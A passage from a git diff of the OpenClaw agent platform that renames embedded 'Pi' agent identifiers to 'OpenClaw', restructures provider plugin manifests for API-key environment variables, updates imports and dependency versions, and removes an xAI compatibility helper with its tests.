({ + channels: { telegram: { dmPolicy: "open", allowFrom: ["*"] } }, + }) as OpenClawConfig) as TelegramBotDeps["getRuntimeConfig"]; type TopicNameStoreFactory = NonNullable< Parameters[0] @@ -192,10 +196,7 @@ const mediaHarnessDispatchReplyWithBufferedBlockDispatcher = vi.hoisted(() => ); export const telegramBotDepsForTest: TelegramBotDeps = { - getRuntimeConfig: (() => - ({ - channels: { telegram: { dmPolicy: "open", allowFrom: ["*"] } }, - }) as OpenClawConfig) as TelegramBotDeps["getRuntimeConfig"], + getRuntimeConfig: defaultRuntimeConfig, resolveStorePath: vi.fn( (storePath?: string) => storePath ?? path.join(ensureMediaHarnessStoreRoot(), "sessions.json"), ) as TelegramBotDeps["resolveStorePath"], @@ -219,6 +220,7 @@ export const telegramBotDepsForTest: TelegramBotDeps = { beforeEach(() => { cleanupMediaHarnessStoreRoot(); ensureMediaHarnessStoreRoot(); + telegramBotDepsForTest.getRuntimeConfig = defaultRuntimeConfig; resetInboundDedupe(); topicNameStoresForTest.clear(); resetTopicNameCacheForTest(); diff --git a/extensions/telegram/src/bot.media.test-utils.ts b/extensions/telegram/src/bot.media.test-utils.ts index e50ae2a49af..4058e4c7e01 100644 --- a/extensions/telegram/src/bot.media.test-utils.ts +++ b/extensions/telegram/src/bot.media.test-utils.ts @@ -61,15 +61,17 @@ export async function createBotHandlerWithOptions(options: { const effectiveProxyFetch = options.proxyFetch ?? (undiciFetchSpyRef as unknown as typeof fetch); createTelegramBotRef({ token: "tok", + config: harness.telegramBotDepsForTest.getRuntimeConfig(), testTimings: TELEGRAM_TEST_TIMINGS, ...(effectiveProxyFetch ? { proxyFetch: effectiveProxyFetch } : {}), runtime: { log: runtimeLog as (...data: unknown[]) => void, error: runtimeError as (...data: unknown[]) => void, + getRuntimeConfig: () => harness.telegramBotDepsForTest.getRuntimeConfig(), exit: () => { throw new Error("exit"); }, - }, + } as Parameters[0]["runtime"], }); const handler = onSpyRef.mock.calls.find((call) => call[0] === "message")?.[1] as ( ctx: Record, diff --git a/extensions/telegram/src/bot.test.ts b/extensions/telegram/src/bot.test.ts index a7b525032b8..70d72fb8bb4 100644 --- a/extensions/telegram/src/bot.test.ts +++ b/extensions/telegram/src/bot.test.ts @@ -1178,7 +1178,7 @@ describe("createTelegramBot", () => { expect(answerCallbackQuerySpy).toHaveBeenCalledWith("cbq-4"); }); - it("routes compact model callbacks by inferring provider", async () => { + it("routes compact model callbacks against the configured provider", async () => { onSpy.mockClear(); replySpy.mockClear(); editMessageTextSpy.mockClear(); @@ -1188,7 +1188,7 @@ describe("createTelegramBot", () => { const config: OpenClawConfig = { agents: { defaults: { - model: `bedrock/${modelId}`, + model: `amazon-bedrock/${modelId}`, }, }, channels: { diff --git a/extensions/tencent/openclaw.plugin.json b/extensions/tencent/openclaw.plugin.json index 0260c553ff6..9bfcee54dd2 100644 --- a/extensions/tencent/openclaw.plugin.json +++ b/extensions/tencent/openclaw.plugin.json @@ -60,8 +60,13 @@ "tencent-tokenhub": "static" } }, - "providerAuthEnvVars": { - "tencent-tokenhub": ["TOKENHUB_API_KEY"] + "setup": { + "providers": [ + { + "id": "tencent-tokenhub", + "envVars": ["TOKENHUB_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/test-support/provider-model-test-helpers.ts b/extensions/test-support/provider-model-test-helpers.ts index 5420200940d..7599f03d3e8 100644 --- a/extensions/test-support/provider-model-test-helpers.ts +++ b/extensions/test-support/provider-model-test-helpers.ts @@ -1,4 +1,4 @@ -import type { ModelRegistry } from "@earendil-works/pi-coding-agent"; +import type { ModelRegistry } from "openclaw/plugin-sdk/agent-sessions"; import type { ProviderCatalogContext, ProviderResolveDynamicModelContext, diff --git a/extensions/tlon/npm-shrinkwrap.json b/extensions/tlon/npm-shrinkwrap.json index 413325bdd81..2ee5cafd17c 100644 --- a/extensions/tlon/npm-shrinkwrap.json +++ b/extensions/tlon/npm-shrinkwrap.json @@ -472,9 +472,9 @@ } }, "node_modules/@aws-sdk/token-providers": { - "version": "3.1053.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1053.0.tgz", - "integrity": "sha512-laSwHLYMMrXQRl2mFDXszF43m/F4pKWyGr7hCLfJmV8rn8c6CnI/hp/bf/Gn7gLcjz0SY4evd7SBpqtnIhzA/A==", + "version": "3.1052.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/token-providers/-/token-providers-3.1052.0.tgz", + "integrity": "sha512-QqZNB3so7UIDxZtroc85TQaLVxdZRFm0eWM1CSR2N+b06as9TOrilvrlTZuj3guYlxMs6yLOgGxnklJ5qMYtTw==", "license": "Apache-2.0", "dependencies": { "@aws-sdk/core": "^3.974.13", @@ -604,12 +604,12 @@ } }, "node_modules/@smithy/node-http-handler": { - "version": "4.7.4", - "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.4.tgz", - "integrity": "sha512-HIeF+1vrDGzPkkv39Hj2vlHSXHY3p958jd/8ZnePIY6+ZOsQX8coyEUKO5yQu4r0bQIVsbpotVIrXXwyycMStQ==", + "version": "4.7.3", + "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.7.3.tgz", + "integrity": "sha512-/jPhevcTFPMVl6KNjbaI47iOg1zxC7IsnX4PQDGVZKMFceOXtB8IEYaB7a9VvkP/3oC60WzTeKocvSI7vLT0vA==", "license": "Apache-2.0", "dependencies": { - "@smithy/core": "^3.24.4", + "@smithy/core": "^3.24.3", "@smithy/types": "^4.14.2", "tslib": "^2.6.2" }, diff --git a/extensions/together/openclaw.plugin.json b/extensions/together/openclaw.plugin.json index f856a9e3a7f..e2525a7a1d5 100644 --- a/extensions/together/openclaw.plugin.json +++ b/extensions/together/openclaw.plugin.json @@ -12,8 +12,13 @@ } } }, - "providerAuthEnvVars": { - "together": ["TOGETHER_API_KEY"] + "setup": { + "providers": [ + { + "id": "together", + "envVars": ["TOGETHER_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/tokenjuice/index.test.ts b/extensions/tokenjuice/index.test.ts index f26ccbd369d..b1480f96ea1 100644 --- a/extensions/tokenjuice/index.test.ts +++ b/extensions/tokenjuice/index.test.ts @@ -31,7 +31,7 @@ describe("tokenjuice bundled plugin", () => { expect(manifest.enabledByDefault).toBeUndefined(); }); - it("registers tokenjuice tool result middleware for Pi and Codex runtimes", () => { + it("registers tokenjuice tool result middleware for OpenClaw and Codex runtimes", () => { const registerAgentToolResultMiddleware = vi.fn(); plugin.register( @@ -50,6 +50,6 @@ describe("tokenjuice bundled plugin", () => { expect(tokenjuiceFactory).toHaveBeenCalledTimes(1); const registration = registerAgentToolResultMiddleware.mock.calls[0]; expect(typeof registration?.[0]).toBe("function"); - expect(registration?.[1]).toEqual({ runtimes: ["pi", "codex"] }); + expect(registration?.[1]).toEqual({ runtimes: ["openclaw", "codex"] }); }); }); diff --git a/extensions/tokenjuice/index.ts b/extensions/tokenjuice/index.ts index 1ab2522e175..93792a415af 100644 --- a/extensions/tokenjuice/index.ts +++ b/extensions/tokenjuice/index.ts @@ -7,7 +7,7 @@ export default definePluginEntry({ description: "Compacts exec and bash tool results with tokenjuice reducers.", register(api) { api.registerAgentToolResultMiddleware(createTokenjuiceAgentToolResultMiddleware(), { - runtimes: ["pi", "codex"], + runtimes: ["openclaw", "codex"], }); }, }); diff --git a/extensions/tokenjuice/manifest.test.ts b/extensions/tokenjuice/manifest.test.ts index bc682af2bf6..3be0e09d747 100644 --- a/extensions/tokenjuice/manifest.test.ts +++ b/extensions/tokenjuice/manifest.test.ts @@ -25,6 +25,6 @@ describe("tokenjuice package manifest", () => { fs.readFileSync(new URL("./openclaw.plugin.json", import.meta.url), "utf8"), ) as TokenjuicePluginManifest; - expect(manifest.contracts?.agentToolResultMiddleware).toEqual(["pi", "codex"]); + expect(manifest.contracts?.agentToolResultMiddleware).toEqual(["openclaw", "codex"]); }); }); diff --git a/extensions/tokenjuice/openclaw.plugin.json b/extensions/tokenjuice/openclaw.plugin.json index 53a1e53e9e3..99c0f26b8aa 100644 --- a/extensions/tokenjuice/openclaw.plugin.json +++ b/extensions/tokenjuice/openclaw.plugin.json @@ -6,7 +6,7 @@ "name": "tokenjuice", "description": "Compacts exec and bash tool results with tokenjuice reducers.", "contracts": { - "agentToolResultMiddleware": ["pi", "codex"] + "agentToolResultMiddleware": ["openclaw", "codex"] }, "configSchema": { "type": "object", diff --git a/extensions/vercel-ai-gateway/openclaw.plugin.json b/extensions/vercel-ai-gateway/openclaw.plugin.json index 65905f098c1..e98de6ea975 100644 --- a/extensions/vercel-ai-gateway/openclaw.plugin.json +++ b/extensions/vercel-ai-gateway/openclaw.plugin.json @@ -33,8 +33,13 @@ } } }, - "providerAuthEnvVars": { - "vercel-ai-gateway": ["AI_GATEWAY_API_KEY"] + "setup": { + "providers": [ + { + "id": "vercel-ai-gateway", + "envVars": ["AI_GATEWAY_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/vllm/openclaw.plugin.json b/extensions/vllm/openclaw.plugin.json index 487bbf213db..efccb8d069d 100644 --- a/extensions/vllm/openclaw.plugin.json +++ b/extensions/vllm/openclaw.plugin.json @@ -22,8 +22,13 @@ } } }, - "providerAuthEnvVars": { - "vllm": ["VLLM_API_KEY"] + "setup": { + "providers": [ + { + "id": "vllm", + "envVars": ["VLLM_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/vllm/stream.test.ts b/extensions/vllm/stream.test.ts index 2030314db52..e8a578bd607 100644 --- a/extensions/vllm/stream.test.ts +++ b/extensions/vllm/stream.test.ts @@ -1,5 +1,5 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import type { Context, Model } from "@earendil-works/pi-ai"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; +import type { Context, Model } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { createVllmProviderThinkingWrapper, diff --git a/extensions/vllm/stream.ts b/extensions/vllm/stream.ts index 31ca0764e09..5215ba28419 100644 --- a/extensions/vllm/stream.ts +++ b/extensions/vllm/stream.ts @@ -1,4 +1,4 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; +import type { StreamFn } from "openclaw/plugin-sdk/agent-core"; import type { ProviderWrapStreamFnContext } from "openclaw/plugin-sdk/plugin-entry"; import { normalizeProviderId } from "openclaw/plugin-sdk/provider-model-shared"; import { diff --git a/extensions/voice-call/src/response-generator.test.ts b/extensions/voice-call/src/response-generator.test.ts index fe08eae04b0..226fab769d9 100644 --- a/extensions/voice-call/src/response-generator.test.ts +++ b/extensions/voice-call/src/response-generator.test.ts @@ -64,7 +64,7 @@ function createAgentRuntime(payloads: Array>) { sessionStore[params.sessionKey] = { ...params.entry }; }, ); - const runEmbeddedPiAgent = vi.fn(async () => ({ + const runEmbeddedAgent = vi.fn(async () => ({ payloads, meta: { durationMs: 12, aborted: false }, })); @@ -97,7 +97,7 @@ function createAgentRuntime(payloads: Array>) { resolveThinkingDefault: () => "off", resolveAgentTimeoutMs: () => 30_000, ensureAgentWorkspace: async () => {}, - runEmbeddedPiAgent, + runEmbeddedAgent, session: { resolveStorePath, loadSessionStore: () => sessionStore, @@ -112,7 +112,7 @@ function createAgentRuntime(payloads: Array>) { return { runtime, - runEmbeddedPiAgent, + runEmbeddedAgent, saveSessionStore, updateSessionStore, patchSessionEntry, @@ -125,8 +125,8 @@ function createAgentRuntime(payloads: Array>) { }; } -function requireEmbeddedAgentArgs(runEmbeddedPiAgent: ReturnType) { - const calls = runEmbeddedPiAgent.mock.calls as unknown[][]; +function requireEmbeddedAgentArgs(runEmbeddedAgent: ReturnType) { + const calls = runEmbeddedAgent.mock.calls as unknown[][]; const firstCall = requireFirstMockCall( calls, "voice response generator embedded agent invocation", @@ -174,15 +174,15 @@ async function runGenerateVoiceResponse( describe("generateVoiceResponse", () => { it("suppresses reasoning payloads and reads structured spoken output", async () => { - const { runtime, runEmbeddedPiAgent } = createAgentRuntime([ + const { runtime, runEmbeddedAgent } = createAgentRuntime([ { text: "Reasoning: hidden", isReasoning: true }, { text: '{"spoken":"Hello from JSON."}' }, ]); const { result } = await runGenerateVoiceResponse([], { runtime }); expect(result.text).toBe("Hello from JSON."); - expect(runEmbeddedPiAgent).toHaveBeenCalledTimes(1); - const args = requireEmbeddedAgentArgs(runEmbeddedPiAgent); + expect(runEmbeddedAgent).toHaveBeenCalledTimes(1); + const args = requireEmbeddedAgentArgs(runEmbeddedAgent); expect(args.extraSystemPrompt).toContain('{"spoken":"..."}'); expect(args.provider).toBe("together"); expect(args.model).toBe("Qwen/Qwen2.5-7B-Instruct-Turbo"); @@ -223,7 +223,7 @@ describe("generateVoiceResponse", () => { }); it("pins the voice session to responseModel before running the embedded agent", async () => { - const { runtime, runEmbeddedPiAgent, patchSessionEntry, sessionStore } = createAgentRuntime([ + const { runtime, runEmbeddedAgent, patchSessionEntry, sessionStore } = createAgentRuntime([ { text: '{"spoken":"Pinned model works."}' }, ]); sessionStore["voice:15550001111"] = { @@ -268,14 +268,14 @@ describe("generateVoiceResponse", () => { replaceEntry: true, }); expect((patchSessionEntryCall[0] as { update?: unknown }).update).toBeTypeOf("function"); - const args = requireEmbeddedAgentArgs(runEmbeddedPiAgent); + const args = requireEmbeddedAgentArgs(runEmbeddedAgent); expect(args.provider).toBe("openai"); expect(args.model).toBe("gpt-4.1-nano"); expect(args.sessionKey).toBe("voice:15550001111"); }); it("uses the persisted per-call session key for classic responses", async () => { - const { runtime, runEmbeddedPiAgent, sessionStore } = createAgentRuntime([ + const { runtime, runEmbeddedAgent, sessionStore } = createAgentRuntime([ { text: '{"spoken":"Fresh call context."}' }, ]); const voiceConfig = VoiceCallConfigSchema.parse({ @@ -299,7 +299,7 @@ describe("generateVoiceResponse", () => { expect(perCallSessionEntry?.sessionId).toBeTypeOf("string"); expect(perCallSessionEntry?.sessionId).not.toBe(""); expect(sessionStore["voice:15550001111"]).toBeUndefined(); - const args = requireEmbeddedAgentArgs(runEmbeddedPiAgent); + const args = requireEmbeddedAgentArgs(runEmbeddedAgent); expect(args.sessionKey).toBe("voice:call:call-123"); expect(args.sandboxSessionKey).toBe("agent:main:voice:call:call-123"); }); @@ -307,7 +307,7 @@ describe("generateVoiceResponse", () => { it("uses the main agent workspace when voice config omits agentId", async () => { const { runtime, - runEmbeddedPiAgent, + runEmbeddedAgent, resolveAgentDir, resolveAgentWorkspaceDir, resolveAgentIdentity, @@ -342,7 +342,7 @@ describe("generateVoiceResponse", () => { agentId: "main", }, ); - const args = requireEmbeddedAgentArgs(runEmbeddedPiAgent); + const args = requireEmbeddedAgentArgs(runEmbeddedAgent); expect(args.agentDir).toBe("/tmp/openclaw/agents/main"); expect(args.agentId).toBe("main"); expect(args.sandboxSessionKey).toBe("agent:main:voice:15550001111"); @@ -353,7 +353,7 @@ describe("generateVoiceResponse", () => { it("uses the configured voice response agent workspace", async () => { const { runtime, - runEmbeddedPiAgent, + runEmbeddedAgent, resolveAgentDir, resolveAgentWorkspaceDir, resolveAgentIdentity, @@ -392,7 +392,7 @@ describe("generateVoiceResponse", () => { agentId: "voice", }, ); - const args = requireEmbeddedAgentArgs(runEmbeddedPiAgent); + const args = requireEmbeddedAgentArgs(runEmbeddedAgent); expect(args.agentDir).toBe("/tmp/openclaw/agents/voice"); expect(args.agentId).toBe("voice"); expect(args.sandboxSessionKey).toBe("agent:voice:voice:15550001111"); @@ -401,7 +401,7 @@ describe("generateVoiceResponse", () => { }); it("passes the routed voice agent explicit tool allowlist to the embedded run", async () => { - const { runtime, runEmbeddedPiAgent } = createAgentRuntime([ + const { runtime, runEmbeddedAgent } = createAgentRuntime([ { text: '{"spoken":"No tools needed."}' }, ]); const coreConfig = { @@ -430,7 +430,7 @@ describe("generateVoiceResponse", () => { }); expect(result.text).toBe("No tools needed."); - const args = requireEmbeddedAgentArgs(runEmbeddedPiAgent); + const args = requireEmbeddedAgentArgs(runEmbeddedAgent); expect(args.agentId).toBe("voice"); expect(args.toolsAllow).toStrictEqual([]); }); diff --git a/extensions/voice-call/src/response-generator.ts b/extensions/voice-call/src/response-generator.ts index 70ce4488342..f7ed6080d48 100644 --- a/extensions/voice-call/src/response-generator.ts +++ b/extensions/voice-call/src/response-generator.ts @@ -1,5 +1,5 @@ /** - * Voice call response generator - uses the embedded Pi agent for tool support. + * Voice call response generator - uses the embedded OpenClaw agent for tool support. * Routes voice responses through the same agent infrastructure as messaging. */ @@ -207,7 +207,7 @@ function resolveVoiceSandboxSessionKey(agentId: string, sessionKey: string): str } /** - * Generate a voice response using the embedded Pi agent with full tool support. + * Generate a voice response using the embedded OpenClaw agent with full tool support. * Uses the same agent infrastructure as messaging for consistent behavior. */ export async function generateVoiceResponse( @@ -321,7 +321,7 @@ export async function generateVoiceResponse( const runId = `voice:${callId}:${Date.now()}`; try { - const result = await agentRuntime.runEmbeddedPiAgent({ + const result = await agentRuntime.runEmbeddedAgent({ sessionId, sessionKey: resolvedSessionKey, sandboxSessionKey: resolveVoiceSandboxSessionKey(agentId, resolvedSessionKey), diff --git a/extensions/voice-call/src/runtime.test.ts b/extensions/voice-call/src/runtime.test.ts index 94a3583efe9..91b463bce3b 100644 --- a/extensions/voice-call/src/runtime.test.ts +++ b/extensions/voice-call/src/runtime.test.ts @@ -390,7 +390,7 @@ describe("createVoiceCallRuntime lifecycle", () => { }, ]; const sessionStore: Record = {}; - const runEmbeddedPiAgent = vi.fn(async () => ({ + const runEmbeddedAgent = vi.fn(async () => ({ payloads: [{ text: "Use the shipment status." }], meta: {}, })); @@ -403,7 +403,7 @@ describe("createVoiceCallRuntime lifecycle", () => { resolveAgentTimeoutMs: vi.fn(() => 30_000), ensureAgentWorkspace: vi.fn(async () => {}), session: createMockSessionRuntime(sessionStore), - runEmbeddedPiAgent, + runEmbeddedAgent, }; mocks.managerGetCall.mockReturnValue({ callId: "call-1", @@ -440,10 +440,10 @@ describe("createVoiceCallRuntime lifecycle", () => { ).resolves.toEqual({ text: "Use the shipment status.", }); - expect(runEmbeddedPiAgent).toHaveBeenCalledOnce(); + expect(runEmbeddedAgent).toHaveBeenCalledOnce(); const consultParams = requireRecord( - firstCallParam(runEmbeddedPiAgent.mock.calls as unknown[][], "embedded PI consult"), - "embedded PI consult params", + firstCallParam(runEmbeddedAgent.mock.calls as unknown[][], "embedded OpenClaw consult"), + "embedded OpenClaw consult params", ); expect(consultParams.sessionKey).toBe("voice:15550009999"); expect(consultParams.spawnedBy).toBe("agent:main:discord:channel:general"); @@ -469,7 +469,7 @@ describe("createVoiceCallRuntime lifecycle", () => { config.inboundPolicy = "allowlist"; config.realtime.enabled = true; config.sessionScope = "per-call"; - const runEmbeddedPiAgent = vi.fn(async () => ({ + const runEmbeddedAgent = vi.fn(async () => ({ payloads: [{ text: "Per-call consult answer." }], meta: {}, })); @@ -483,7 +483,7 @@ describe("createVoiceCallRuntime lifecycle", () => { resolveAgentTimeoutMs: vi.fn(() => 30_000), ensureAgentWorkspace: vi.fn(async () => {}), session: createMockSessionRuntime(sessionStore), - runEmbeddedPiAgent, + runEmbeddedAgent, }; mocks.managerGetCall.mockReturnValue({ callId: "call-1", @@ -504,10 +504,13 @@ describe("createVoiceCallRuntime lifecycle", () => { await expect(handler({ question: "What should I say?" }, "call-1")).resolves.toEqual({ text: "Per-call consult answer.", }); - expect(runEmbeddedPiAgent).toHaveBeenCalledOnce(); + expect(runEmbeddedAgent).toHaveBeenCalledOnce(); const consultParams = requireRecord( - firstCallParam(runEmbeddedPiAgent.mock.calls as unknown[][], "per-call embedded PI consult"), - "per-call embedded PI consult params", + firstCallParam( + runEmbeddedAgent.mock.calls as unknown[][], + "per-call embedded OpenClaw consult", + ), + "per-call embedded OpenClaw consult params", ); expect(consultParams.sessionKey).toBe("voice:call:call-1"); }); @@ -522,7 +525,7 @@ describe("createVoiceCallRuntime lifecycle", () => { sources: ["memory"], fallbackToConsult: false, }; - const runEmbeddedPiAgent = vi.fn(async () => ({ + const runEmbeddedAgent = vi.fn(async () => ({ payloads: [{ text: "slow answer" }], meta: {}, })); @@ -535,7 +538,7 @@ describe("createVoiceCallRuntime lifecycle", () => { resolveAgentTimeoutMs: vi.fn(() => 30_000), ensureAgentWorkspace: vi.fn(async () => {}), session: createMockSessionRuntime(sessionStore), - runEmbeddedPiAgent, + runEmbeddedAgent, }; mocks.managerGetCall.mockReturnValue({ callId: "call-1", @@ -580,7 +583,7 @@ describe("createVoiceCallRuntime lifecycle", () => { }, sessionKey: "voice:15550001234", }); - expect(runEmbeddedPiAgent).not.toHaveBeenCalled(); + expect(runEmbeddedAgent).not.toHaveBeenCalled(); }); it("uses the configured realtime consult thinking level when set", async () => { @@ -590,7 +593,7 @@ describe("createVoiceCallRuntime lifecycle", () => { config.realtime.consultThinkingLevel = "low"; config.realtime.consultFastMode = true; const sessionStore: Record = {}; - const runEmbeddedPiAgent = vi.fn(async () => ({ + const runEmbeddedAgent = vi.fn(async () => ({ payloads: [{ text: "Done." }], meta: {}, })); @@ -603,7 +606,7 @@ describe("createVoiceCallRuntime lifecycle", () => { resolveAgentTimeoutMs: vi.fn(() => 30_000), ensureAgentWorkspace: vi.fn(async () => {}), session: createMockSessionRuntime(sessionStore), - runEmbeddedPiAgent, + runEmbeddedAgent, }; mocks.managerGetCall.mockReturnValue({ callId: "call-1", @@ -625,13 +628,13 @@ describe("createVoiceCallRuntime lifecycle", () => { }); expect(agentRuntime.resolveThinkingDefault).not.toHaveBeenCalled(); - expect(runEmbeddedPiAgent).toHaveBeenCalledOnce(); + expect(runEmbeddedAgent).toHaveBeenCalledOnce(); const consultParams = requireRecord( firstCallParam( - runEmbeddedPiAgent.mock.calls as unknown[][], - "configured embedded PI consult", + runEmbeddedAgent.mock.calls as unknown[][], + "configured embedded OpenClaw consult", ), - "configured embedded PI consult params", + "configured embedded OpenClaw consult params", ); expect(consultParams.thinkLevel).toBe("low"); expect(consultParams.fastMode).toBe(true); diff --git a/extensions/volcengine/openclaw.plugin.json b/extensions/volcengine/openclaw.plugin.json index cfbf0490ecd..612be5dc816 100644 --- a/extensions/volcengine/openclaw.plugin.json +++ b/extensions/volcengine/openclaw.plugin.json @@ -6,13 +6,16 @@ "enabledByDefault": true, "providerCatalogEntry": "./provider-discovery.ts", "providers": ["volcengine", "volcengine-plan"], - "providerAuthEnvVars": { - "volcengine": ["VOLCANO_ENGINE_API_KEY"], - "volcengine-tts": [ - "VOLCENGINE_TTS_API_KEY", - "BYTEPLUS_SEED_SPEECH_API_KEY", - "VOLCENGINE_TTS_APPID", - "VOLCENGINE_TTS_TOKEN" + "setup": { + "providers": [ + { + "id": "volcengine", + "envVars": ["VOLCANO_ENGINE_API_KEY"] + }, + { + "id": "volcengine-tts", + "envVars": ["VOLCENGINE_TTS_API_KEY", "BYTEPLUS_SEED_SPEECH_API_KEY", "VOLCENGINE_TTS_APPID", "VOLCENGINE_TTS_TOKEN"] + } ] }, "providerAuthAliases": { diff --git a/extensions/voyage/openclaw.plugin.json b/extensions/voyage/openclaw.plugin.json index 1a2cc666283..e9a6302c618 100644 --- a/extensions/voyage/openclaw.plugin.json +++ b/extensions/voyage/openclaw.plugin.json @@ -7,8 +7,13 @@ "contracts": { "memoryEmbeddingProviders": ["voyage"] }, - "providerAuthEnvVars": { - "voyage": ["VOYAGE_API_KEY"] + "setup": { + "providers": [ + { + "id": "voyage", + "envVars": ["VOYAGE_API_KEY"] + } + ] }, "configSchema": { "type": "object", diff --git a/extensions/vydra/openclaw.plugin.json b/extensions/vydra/openclaw.plugin.json index dccac0f07c6..7e0cd5e4bee 100644 --- a/extensions/vydra/openclaw.plugin.json +++ b/extensions/vydra/openclaw.plugin.json @@ -5,8 +5,13 @@ }, "enabledByDefault": true, "providers": ["vydra"], - "providerAuthEnvVars": { - "vydra": ["VYDRA_API_KEY"] + "setup": { + "providers": [ + { + "id": "vydra", + "envVars": ["VYDRA_API_KEY"] + } + ] }, "providerAuthChoices": [ { diff --git a/extensions/whatsapp/src/action-runtime.ts b/extensions/whatsapp/src/action-runtime.ts index 0412b84c9d8..75259d1c65c 100644 --- a/extensions/whatsapp/src/action-runtime.ts +++ b/extensions/whatsapp/src/action-runtime.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "openclaw/plugin-sdk/agent-core"; import { createActionGate, jsonResult, diff --git a/extensions/whatsapp/src/auto-reply.test-harness.ts b/extensions/whatsapp/src/auto-reply.test-harness.ts index a6c21a6f49b..c83edbd43f7 100644 --- a/extensions/whatsapp/src/auto-reply.test-harness.ts +++ b/extensions/whatsapp/src/auto-reply.test-harness.ts @@ -101,11 +101,11 @@ function resetWebAutoReplySessionSockets() { } vi.mock("openclaw/plugin-sdk/agent-runtime", () => ({ - abortEmbeddedPiRun: vi.fn().mockReturnValue(false), + abortEmbeddedAgentRun: vi.fn().mockReturnValue(false), appendCronStyleCurrentTimeLine: (text: string) => text, - isEmbeddedPiRunActive: vi.fn().mockReturnValue(false), - isEmbeddedPiRunStreaming: vi.fn().mockReturnValue(false), - queueEmbeddedPiMessage: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunActive: vi.fn().mockReturnValue(false), + isEmbeddedAgentRunStreaming: vi.fn().mockReturnValue(false), + queueEmbeddedAgentMessage: vi.fn().mockReturnValue(false), resolveEmbeddedSessionLane: (key: string) => `session:${key.trim() || "main"}`, resolveAgentIdentity: ( cfg: { agents?: { list?: Array<{ id: string; identity?: unknown }> } }, @@ -118,7 +118,7 @@ vi.mock("openclaw/plugin-sdk/agent-runtime", () => ({ cfg.messages?.responsePrefix, resolveMessagePrefix: (cfg: { messages?: { messagePrefix?: string } }) => cfg.messages?.messagePrefix, - runEmbeddedPiAgent: vi.fn(), + runEmbeddedAgent: vi.fn(), })); async function rmDirWithRetries( diff --git a/extensions/xai/api.test.ts b/extensions/xai/api.test.ts index b665030a0b5..7577db0422a 100644 --- a/extensions/xai/api.test.ts +++ b/extensions/xai/api.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { isXaiModelHint, resolveXaiTransport, shouldContributeXaiCompat } from "./api.js"; +import { isXaiModelHint, resolveXaiTransport } from "./api.js"; describe("xai api helpers", () => { it("uses shared endpoint classification for native xAI transports", () => { @@ -27,25 +27,7 @@ describe("xai api helpers", () => { }); }); - it("contributes compat for native xAI hosts and model hints", () => { - expect( - shouldContributeXaiCompat({ - modelId: "custom-model", - model: { - api: "openai-completions", - baseUrl: "https://api.x.ai/v1", - }, - }), - ).toBe(true); - expect( - shouldContributeXaiCompat({ - modelId: "x-ai/grok-4", - model: { - api: "openai-completions", - baseUrl: "https://proxy.example.com/v1", - }, - }), - ).toBe(true); + it("detects xAI model hints", () => { expect(isXaiModelHint("x-ai/grok-4")).toBe(true); }); }); diff --git a/extensions/xai/api.ts b/extensions/xai/api.ts index 0b632b4b130..600276eaf29 100644 --- a/extensions/xai/api.ts +++ b/extensions/xai/api.ts @@ -7,7 +7,6 @@ import { applyXaiModelCompat, HTML_ENTITY_TOOL_CALL_ARGUMENTS_ENCODING, normalizeNativeXaiModelId, - resolveXaiModelCompatPatch, XAI_TOOL_SCHEMA_PROFILE, } from "./model-compat.js"; @@ -29,7 +28,6 @@ export { export { isModernXaiModel, resolveXaiForwardCompatModel } from "./provider-models.js"; export { applyXaiRuntimeModelCompat } from "./runtime-model-compat.js"; export { applyXaiModelCompat, HTML_ENTITY_TOOL_CALL_ARGUMENTS_ENCODING, XAI_TOOL_SCHEMA_PROFILE }; -export { resolveXaiModelCompatPatch }; const XAI_NATIVE_ENDPOINT_HOSTS = new Set(["api.x.ai"]); @@ -79,16 +77,6 @@ function shouldUseXaiResponsesTransport(params: { return normalizeProviderId(params.provider) === "xai" && !params.baseUrl; } -export function shouldContributeXaiCompat(params: { - modelId: string; - model: { api?: unknown; baseUrl?: unknown }; -}): boolean { - if (params.model.api !== "openai-completions") { - return false; - } - return isXaiNativeEndpoint(params.model.baseUrl) || isXaiModelHint(params.modelId); -} - export function resolveXaiTransport(params: { provider: string; api?: unknown; diff --git a/extensions/xai/index.test.ts b/extensions/xai/index.test.ts index 53b3ac093e2..a5cae743820 100644 --- a/extensions/xai/index.test.ts +++ b/extensions/xai/index.test.ts @@ -275,18 +275,5 @@ describe("xai provider plugin", () => { expect(normalizedCompat?.toolSchemaProfile).toBe("xai"); expect(normalizedCompat?.nativeWebSearchTool).toBe(true); expect(normalizedCompat?.toolCallArgumentsEncoding).toBe("html-entities"); - - const compat = provider.contributeResolvedModelCompat?.({ - provider: "openrouter", - modelId: "x-ai/grok-4-1-fast", - model: createProviderModel({ - id: "x-ai/grok-4-1-fast", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - }), - } as never); - expect(compat?.toolSchemaProfile).toBe("xai"); - expect(compat?.nativeWebSearchTool).toBe(true); - expect(compat?.toolCallArgumentsEncoding).toBe("html-entities"); }); }); diff --git a/extensions/xai/index.ts b/extensions/xai/index.ts index c81acbe28d9..96a71762eb2 100644 --- a/extensions/xai/index.ts +++ b/extensions/xai/index.ts @@ -8,8 +8,6 @@ import { buildXaiImageGenerationProvider, normalizeXaiModelId, resolveXaiTransport, - resolveXaiModelCompatPatch, - shouldContributeXaiCompat, } from "./api.js"; import { applyXaiConfig, XAI_DEFAULT_MODEL_REF } from "./onboard.js"; import { buildXaiProvider } from "./provider-catalog.js"; @@ -226,8 +224,6 @@ export default defineSingleProviderPluginEntry({ normalizeResolvedModel: ({ model }) => applyXaiRuntimeModelCompat(model), normalizeTransport: ({ provider, api, baseUrl }) => resolveXaiTransport({ provider, api, 